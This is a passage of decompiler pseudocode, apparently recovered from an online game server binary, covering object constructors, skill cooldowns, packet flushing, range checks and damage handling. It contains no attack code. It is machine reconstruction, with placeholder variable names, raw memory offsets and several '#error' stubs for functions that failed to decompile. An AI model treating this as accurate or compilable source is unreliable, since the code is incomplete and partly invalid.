SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_COOLTIMERATE) / 0x3E8; v9 = SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_COOLTIMERATE); CharaterSkillList::csl_SetCoolTime( (CharaterSkillList *)(v6 + 68220), skill, v8, delaygroupnum, delaygroupcooltime_milli * v9 / 0x3E8, empowdiscount); result = SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_COOLTIMERATE); if ( result != 1000 ) result = (*(int (__thiscall **)(int, int, int))(*(_DWORD *)v6 + 884))( v6, skill, (signed int)(v8 - empowdiscount) / 1000); } return result; } //----- (004F6210) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetIsQuestRewardReq(int this) { return *(_BYTE *)(this + 92720); } //----- (004F6220) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetIsQuestRewardReq(int this, char IsQuestRewardReq) { char result; // al@1 result = IsQuestRewardReq; *(_BYTE *)(this + 92720) = IsQuestRewardReq; return result; } //----- (004F6230) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (004F6250) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_AllocationZ(List *this, unsigned __int16 *hnd) { unsigned __int16 v2; // ax@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@2 v2 = this->l_Finger.empty; if ( v2 == -1 ) { result = 0; } else { *hnd = v2; result = (AbnormalStateContainer::AbstateElementInObject *)((int (__stdcall *)(_WORD))this->vfptr->l_AllocZ)(v2); } return result; } //----- (004F6270) -------------------------------------------------------- #error "4F6270: undefined or illegal type '#325' (funcsize=43)" //----- (004F62E0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)ShineObjectManager::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5CED14: using guessed type int (__stdcall *ShineObjectManager___vftable_[3])(__int16 hnd); //----- (004F6300) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (004F6320) -------------------------------------------------------- int __thiscall _vcall_(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 1176))(); } //----- (004F6330) -------------------------------------------------------- char __thiscall PacketContainerBase::pcb_Flush(PacketContainerBase *this, ClientSession *session) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PacketContainerBase::pcb_Flush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PacketContainerBase::pcb_Flush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PacketContainerBase::pcb_Flush"); return 1; } //----- (004F6380) -------------------------------------------------------- char __thiscall PacketContainer::pcb_Flush(PacketContainer *this, ClientSession *session) { PacketContainer *v2; // esi@1 int v3; // edi@1 char v4; // al@1 char v5; // bl@1 v2 = this; v3 = this->pc_Pointer; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PacketContainer::pcb_Flush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PacketContainer::pcb_Flush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = v3; v4 = PacketContainer::pcb_Flush_Try_Catch(v2, session); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PacketContainer::pcb_Flush"); return v5; } //----- (004F6430) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_PacketBufferFlush() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_PacketBufferFlush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_PacketBufferFlush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_PacketBufferFlush"); return 1; } //----- (004F6480) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_LastHittedLocation(int this) { return *(_DWORD *)(this + 78); } //----- (004F6490) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::so_FillBriefInformation(ShineObjectClass::ShineEffectObject *this, void *array) { BriefInformationEffect::bie_fill(&this->seo_EffectBriefInfo, (PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD *)array); } //----- (004F64A0) -------------------------------------------------------- void __thiscall BriefInformationEffect::bie_fill(BriefInformationEffect *this, PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD *array) { PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD *v2; // esi@1 v2 = this->bie_BriefInfo; array->handle = v2->handle; Name8::operator_((int)&array->effectname, (int)&v2->effectname); array->coord.xy.x = v2->coord.xy.x; array->coord.xy.y = v2->coord.xy.y; array->coord.dir = v2->coord.dir; array->detach = v2->detach; array->scale = v2->scale; } //----- (004F64F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_itempicked(ShineObjectClass::ShineDropItem *this) { ItemTotalInformation::iti_clear(&this->sdi_ItemOnField); } //----- (004F6500) -------------------------------------------------------- void __thiscall VectorClass::UnitVector::UnitVector(VectorClass::UnitVector *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b) { VectorClass::VectorWithLength *v3; // esi@1 int v4; // ST04_4@1 int v5; // ST00_4@1 v3 = (VectorClass::VectorWithLength *)this; this->baseclass_0.baseclass_4.v_x = a->x - b->x; this->baseclass_0.baseclass_4.v_y = a->y - b->y; v4 = this->baseclass_0.baseclass_4.v_y; v5 = this->baseclass_0.baseclass_4.v_x; this->baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; this->baseclass_0.vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v5, v4); v3->vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::UnitVector::_vftable_; VectorClass::VectorWithLength::vwl_Scale(v3, 32); } // 5AE638: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 5CEDB0: using guessed type int (__stdcall *VectorClass__UnitVector___vftable_)(int sklidx); //----- (004F6550) -------------------------------------------------------- #error "4F6550: undefined or illegal type '#325' (funcsize=115)" //----- (004F6670) -------------------------------------------------------- void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK(PROTO_NC_CHAR_WEDDINGDATA_ACK *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed((MemoryQueueGuildReName *)&this->Partner); } //----- (004F6680) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::ShineObject(int this) { int v1; // esi@1 v1 = this; *(_DWORD *)this = ShineObjectClass::ShineObject::_vftable_; MoveManager::MoveManager((DiceTaiSai *)(this + 4)); ShineObjectClass::ShineObject::__unnamed::__unnamed(v1 + 6); *(_DWORD *)(v1 + 10) = v1; *(_DWORD *)(v1 + 22) = v1 + 6; *(_DWORD *)(v1 + 18) = v1; *(_DWORD *)(v1 + 34) = v1 + 14; *(_DWORD *)(v1 + 94) = v1 + 86; *(_DWORD *)(v1 + 98) = 0; *(_DWORD *)(v1 + 78) = &ShineObjectClass::ShineObject::so_TempLocation; *(_DWORD *)(v1 + 82) = &unk_124D25D0; *(_DWORD *)(v1 + 86) = 0; *(_BYTE *)(*(_DWORD *)(v1 + 94) + 4) = 0; return v1; } // 4F4F90: using guessed type int __thiscall ShineObjectClass__ShineObject____unnamed____unnamed(_DWORD); // 5CC168: using guessed type int (*ShineObjectClass__ShineObject___vftable_[4])(); //----- (004F6710) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineObject::so_DamageLog(int spot, int hpchangeorder, int damage, int resthp) { signed int result; // eax@1 _iobuf *v5; // esi@2 result = 1; if ( !(_S51_4 & 1) ) { _S51_4 |= 1u; v5 = fopen("Dbg.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); EraseOldLogList("DamageLog"); atexit(_E52_4); } return result; } //----- (004F67A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v1 + 98) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect"); } //----- (004F6800) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect(v1); **((_BYTE **)v1 + 929) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect"); } //----- (004F68A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Logout(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Logout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Logout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v1 + 26) + 4) + 1572))() != v1 && (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v1 + 30) + 4) + 1572))() != v1 ) (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 20))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Logout"); } //----- (004F6960) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int axialfunc, int a3, int a4, int a5, int tome) { void *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 bool v9; // zf@2 int v10; // edx@2 int v11; // ebx@3 int v12; // ecx@3 int (__thiscall *v13)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edx@3 char v14; // al@3 char result; // al@3 FunctionEntarance _; // [sp+0h] [bp-20h]@1 int v17; // [sp+8h] [bp-18h]@2 int v18; // [sp+Ch] [bp-14h]@2 int v19; // [sp+10h] [bp-10h]@2 int v20; // [sp+1Ch] [bp-4h]@1 v6 = this; _.fe_FunctionCode = "ShineObjectClass::ShineObject::so_AllInMap0"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap0"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllInMap0"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = *(_DWORD *)((char *)v6 + 98); v20 = 0; if ( !v7 || (v8 = v7 + 88, v9 = *(_DWORD *)v8 == 0, v17 = *(_DWORD *)(v8 + 4), v10 = *(_DWORD *)(v8 + 12), v18 = *(_DWORD *)(v8 + 8), v19 = v10, v9) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap0"); result = 0; } else { v11 = *(_DWORD *)(v8 + 8); v12 = *(_DWORD *)(v8 + 4); v13 = *(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v8; v19 = *(_DWORD *)(v8 + 12); v18 = v11; v14 = v13((char *)v6 + v12, axialfunc, a3, a4, a5, tome); --funcallanalizer.fca_stackpoint; LOBYTE(v11) = v14; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap0"); result = v11; } return result; } //----- (004F6A90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int ala, int tome) { void *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 char v6; // al@3 char v7; // bl@3 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap1"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllInMap1"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 98); if ( v4 && (v5 = v4 + 104, *(_DWORD *)v5) ) { v6 = (*(int (__thiscall **)(char *, int, int))v5)((char *)v3 + *(_DWORD *)(v5 + 4), ala, tome); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap1"); result = v7; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap1"); result = 0; } return result; } //----- (004F6BA0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, int range, int fansector, int axialfunc, int a7, int a8, int a9, int tome, int excepter) { void *v11; // esi@1 int v12; // edi@1 int v13; // eax@2 int v14; // eax@3 int v15; // eax@4 int v16; // eax@7 int v17; // eax@8 char v18; // al@9 char v19; // bl@9 char result; // al@9 v11 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class0"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRange_Class0"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = range; if ( !range ) { v13 = *(_DWORD *)((char *)v11 + 98); if ( v13 && (v14 = *(_DWORD *)(v13 + 16)) != 0 ) v15 = *(_DWORD *)(v14 + 68); else v15 = 0; v12 = v15; } v16 = *(_DWORD *)((char *)v11 + 98); if ( v16 && (v17 = v16 + 120, *(_DWORD *)v17) ) { v18 = (*(int (__thiscall **)(char *, int, int, int, int, int, int, int, int, int, int))v17)( (char *)v11 + *(_DWORD *)(v17 + 4), event, center, v12, fansector, axialfunc, a7, a8, a9, tome, excepter); --funcallanalizer.fca_stackpoint; v19 = v18; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class0"); result = v19; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class0"); result = 0; } return result; } //----- (004F6D10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, int range, int fansector, int ala, int tome, int excepter) { void *v8; // esi@1 int v9; // edi@1 int v10; // eax@2 int v11; // eax@3 int v12; // eax@4 int v13; // eax@7 int v14; // eax@8 char v15; // al@9 char v16; // bl@9 char result; // al@9 v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class1"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRange_Class1"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = range; if ( !range ) { v10 = *(_DWORD *)((char *)v8 + 98); if ( v10 && (v11 = *(_DWORD *)(v10 + 16)) != 0 ) v12 = *(_DWORD *)(v11 + 68); else v12 = 0; v9 = v12; } v13 = *(_DWORD *)((char *)v8 + 98); if ( v13 && (v14 = v13 + 136, *(_DWORD *)v14) ) { v15 = (*(int (__thiscall **)(char *, int, int, int, int, int, int, int))v14)( (char *)v8 + *(_DWORD *)(v14 + 4), event, center, v9, fansector, ala, tome, excepter); --funcallanalizer.fca_stackpoint; v16 = v15; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class1"); result = v16; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class1"); result = 0; } return result; } //----- (004F6E60) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShineObject::so_mapindex(void *this) { void *v1; // esi@1 int v2; // ecx@1 signed __int16 v3; // si@2 unsigned int v4; // eax@3 char *v5; // eax@3 unsigned int v6; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mapindex"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mapindex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); if ( v2 ) { v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v2; *((_DWORD *)v5 + 1) = *(_DWORD *)(v2 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v2 + 8); v5[12] = 0; v6 = BTree::operator__(&mapdatabox.mdb_btree, v5); v3 = -1; if ( v6 != -1 ) v3 = v6; } else { v3 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mapindex"); return v3; } //----- (004F6F40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::ShineDropItem(ShineObjectClass::ShineDropItem *this) { ShineObjectClass::ShineDropItem *v1; // esi@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineDropItem::_vftable_; BriefInformationDropItem::BriefInformationDropItem(&v1->sdi_ItemBriefInfo); *(_DWORD *)&v1->sdi_loginloc.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->sdi_loginloc.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->sdi_loginloc.currentmap.n3_name[0] = 0; *(_DWORD *)&v1->gap0[78] = (char *)v1->sdi_ItemBriefInfo.bidi_BriefInfo + 4; *(_DWORD *)&v1->gap0[82] = &unk_124D25D0; } // 5CCCA8: using guessed type int (*ShineObjectClass__ShineDropItem___vftable_)(); //----- (004F6FB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::ShineEffectObject(ShineObjectClass::ShineEffectObject *this) { ShineObjectClass::ShineEffectObject *v1; // esi@1 PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineEffectObject::_vftable_; BriefInformationEffect::BriefInformationEffect(&v1->seo_EffectBriefInfo); *(_DWORD *)&v1->seo_LoginLoc.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->seo_LoginLoc.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->seo_LoginLoc.currentmap.n3_name[0] = 0; Metronome::Metronome(&v1->seo_DetachCheck); v2 = v1->seo_EffectBriefInfo.bie_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 34; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 42; } // 5CD718: using guessed type int (*ShineObjectClass__ShineEffectObject___vftable_)(); //----- (004F7030) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMobileObject::ShineMobileObject(void *hd) { void *v1; // esi@1 v1 = hd; ShineObjectClass::ShineObject::ShineObject((int)hd); *(_DWORD *)v1 = &ShineObjectClass::ShineMobileObject::_vftable_; *(_DWORD *)((char *)v1 + 126) = 0; MoveManager::MoveManager((DiceTaiSai *)((char *)v1 + 140)); AbnormalStateContainer::AbstateListInObject::AbstateListInObject((char *)v1 + 204); SpyNet::EspionageAgent::EspionageAgent((SpyNet::EspionageAgent *)((char *)v1 + 3736)); *((_DWORD *)v1 + 1000) = 0; MoveManager::MoveManager((DiceTaiSai *)((char *)v1 + 4008)); PacketContainer::pcb_SetSocketSession(&ShineObjectClass::ShineMobileObject::TA::tmp, (ORColumnHeader *)v1); *((_DWORD *)v1 + 34) = &ShineObjectClass::ShineMobileObject::TA::tmp; *((_DWORD *)v1 + 35) = v1; *((_DWORD *)v1 + 929) = (char *)v1 + 3712; *((_DWORD *)v1 + 1001) = &charclassmanager; *((_DWORD *)v1 + 1843) = -1; *((_DWORD *)v1 + 1840) = 0; *((_DWORD *)v1 + 1841) = &roe_normalPY; *((_DWORD *)v1 + 1845) = 0; *((_BYTE *)v1 + 7368) = 0; Parameter::Container::c_clear((int)((char *)v1 + 4008)); return v1; } // 5CF008: using guessed type int (*ShineObjectClass__ShineMobileObject___vftable_)(); //----- (004F7120) -------------------------------------------------------- ShineRTTI *__cdecl ShineObjectClass::ShineMobileObject::GetRTTI() { return &ShineObjectClass::ShineMobileObject::m_RTTI; } //----- (004F7130) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMobileObject::so_SetLastBattle(int this) { unsigned int result; // eax@1 result = clockwatch.cw_CurrTick; *(_DWORD *)(this + 4000) = clockwatch.cw_CurrTick; return result; } //----- (004F7140) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_isinbattle(int this) { return *(_DWORD *)(this + 4000) + 100 >= clockwatch.cw_CurrTick; } //----- (004F7160) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_CharacterClass(int this) { return *(_DWORD *)(this + 4004); } //----- (004F7170) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_SpyAgent(void *this) { return (int)((char *)this + 3736); } //----- (004F7180) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_GetMode(int this) { return **(_BYTE **)(this + 3716); } //----- (004F7190) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_AbstateList(void *this) { return (int)((char *)this + 204); } //----- (004F71A0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInMoving(int this) { return *(_DWORD *)(this + 172) != 0; } //----- (004F71B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_Move2Where(void *this) { return (int)((char *)this + 160); } //----- (004F71C0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_OverlapFactor(void *this) { return (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() != 3; } //----- (004F71E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SendMyMoveInfo(int this, int a2) { int v2; // edi@1 char *v3; // ecx@2 char *v4; // esi@2 __int16 v5; // ax@2 int v6; // ecx@2 int v7; // eax@2 v2 = this; if ( *(_WORD *)(this + 102) ) { v3 = gpp.pp_Buffer; v4 = gpp.pp_Buffer + 2; v5 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2000; *(_WORD *)gpp.pp_Buffer = v5; *(_WORD *)v3 = v5 ^ (v5 ^ *(_WORD *)(v2 + 102)) & 0x3FF; ProtocolPacket::pp_SetPacketLen(&gpp, 24); *(_DWORD *)v4 = *(_DWORD *)(v2 + 104); *((_DWORD *)v4 + 1) = *(_DWORD *)(v2 + 108); *((_DWORD *)v4 + 2) = *(_DWORD *)(v2 + 112); *((_DWORD *)v4 + 3) = *(_DWORD *)(v2 + 116); *((_DWORD *)v4 + 4) = *(_DWORD *)(v2 + 120); *((_WORD *)v4 + 10) = *(_WORD *)(v2 + 124); v6 = *(_DWORD *)(v2 + 78); *(_DWORD *)(v4 + 2) = *(_DWORD *)v6; *(_DWORD *)(v4 + 6) = *(_DWORD *)(v6 + 4); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, a2, &gpp); } } //----- (004F7290) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineMobileObject::so_Getabstatebit() { return &ShineObjectClass::ShineMobileObject::AS::tempbit; } //----- (004F72A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParamReady(int this) { *(_BYTE *)(this + 3708) = 1; } //----- (004F72B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_batobj_DamageApply(int this, int damage) { int v2; // edx@1 v2 = *(_DWORD *)(this + 7120) - damage; *(_DWORD *)(this + 7120) = v2; if ( v2 < 0 ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_batobj_DamageApply", 0); } //----- (004F72E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_batobj_GetDamage(int this) { return *(_DWORD *)(this + 7120); } //----- (004F72F0) -------------------------------------------------------- char __fastcall ShineObjectClass::ShineMobileObject::so_AbnormalState_Reset(ABSTATEINDEX a1, int stateid) { return AbnormalStateContainer::AbstateListInObject::asl_AbstateReset((#325 *)(a1 + 204), a1); } //----- (004F7310) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_parameter(void *this) { return (int)((char *)this + 4008); } //----- (004F7320) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::smo_DuringCast(int this) { return *(_DWORD *)(this + 7124) != 0; } //----- (004F7330) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_WhoIsKillMe(int this) { return *(_WORD *)(this + 130); } //----- (004F7340) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_WhoIsClickMe(int this) { return *(_WORD *)(this + 132); } //----- (004F7350) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetClicker(int this, __int16 clicker) { __int16 result; // ax@1 result = clicker; *(_WORD *)(this + 132) = clicker; return result; } //----- (004F7360) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_YouHaveAlreadyDead(int this) { *(_BYTE *)(this + 7116) = 1; } //----- (004F7370) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_AmIAlreadyDead(void *this) { return *((_BYTE *)this + 7116) || !(*(int (**)(void))(*(_DWORD *)this + 1236))(); } //----- (004F7390) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveSpeed(int this) { return *(_DWORD *)(this + 148); } //----- (004F73A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveState(int this) { return *(_DWORD *)(this + 144); } //----- (004F73B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcSpeed(int this, int newspeed) { MoveManager::mm_RecalcSpeed((MoveManager *)(this + 140), newspeed); } //----- (004F73C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_SPCheckConsume(void *this, __int16 skill, int sklinf, int empow) { void *v4; // esi@1 char result; // al@2 unsigned int v6; // edi@3 v4 = this; if ( *((_BYTE *)this + 7368) & 0x10 ) { result = 1; } else { v6 = *(_DWORD *)(*(_DWORD *)(sklinf + 4) + 160); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)this + 1240))(this) < v6 ) { result = 0; } else { (*(void (__thiscall **)(void *, unsigned int))(*(_DWORD *)v4 + 1252))(v4, v6); result = 1; } } return result; } //----- (004F7410) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_TargetModeCheck(void *this, int ts) { bool result; // al@2 if ( ts ) { if ( ts == 1 ) { result = (*(int (**)(void))(*(_DWORD *)this + 40))(); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::so_mobile_TargetModeCheck : Invalid target mode", ts); result = 0; } } else { result = (*(int (**)(void))(*(_DWORD *)this + 40))() == 0; } return result; } //----- (004F7450) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DuringFlying(int this) { return (*(_BYTE *)(this + 7368) >> 1) & 1; } //----- (004F7460) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetHPChangeOrder(int this) { ++*(_WORD *)(this + 7112); return *(_WORD *)(this + 7112); } //----- (004F7470) -------------------------------------------------------- 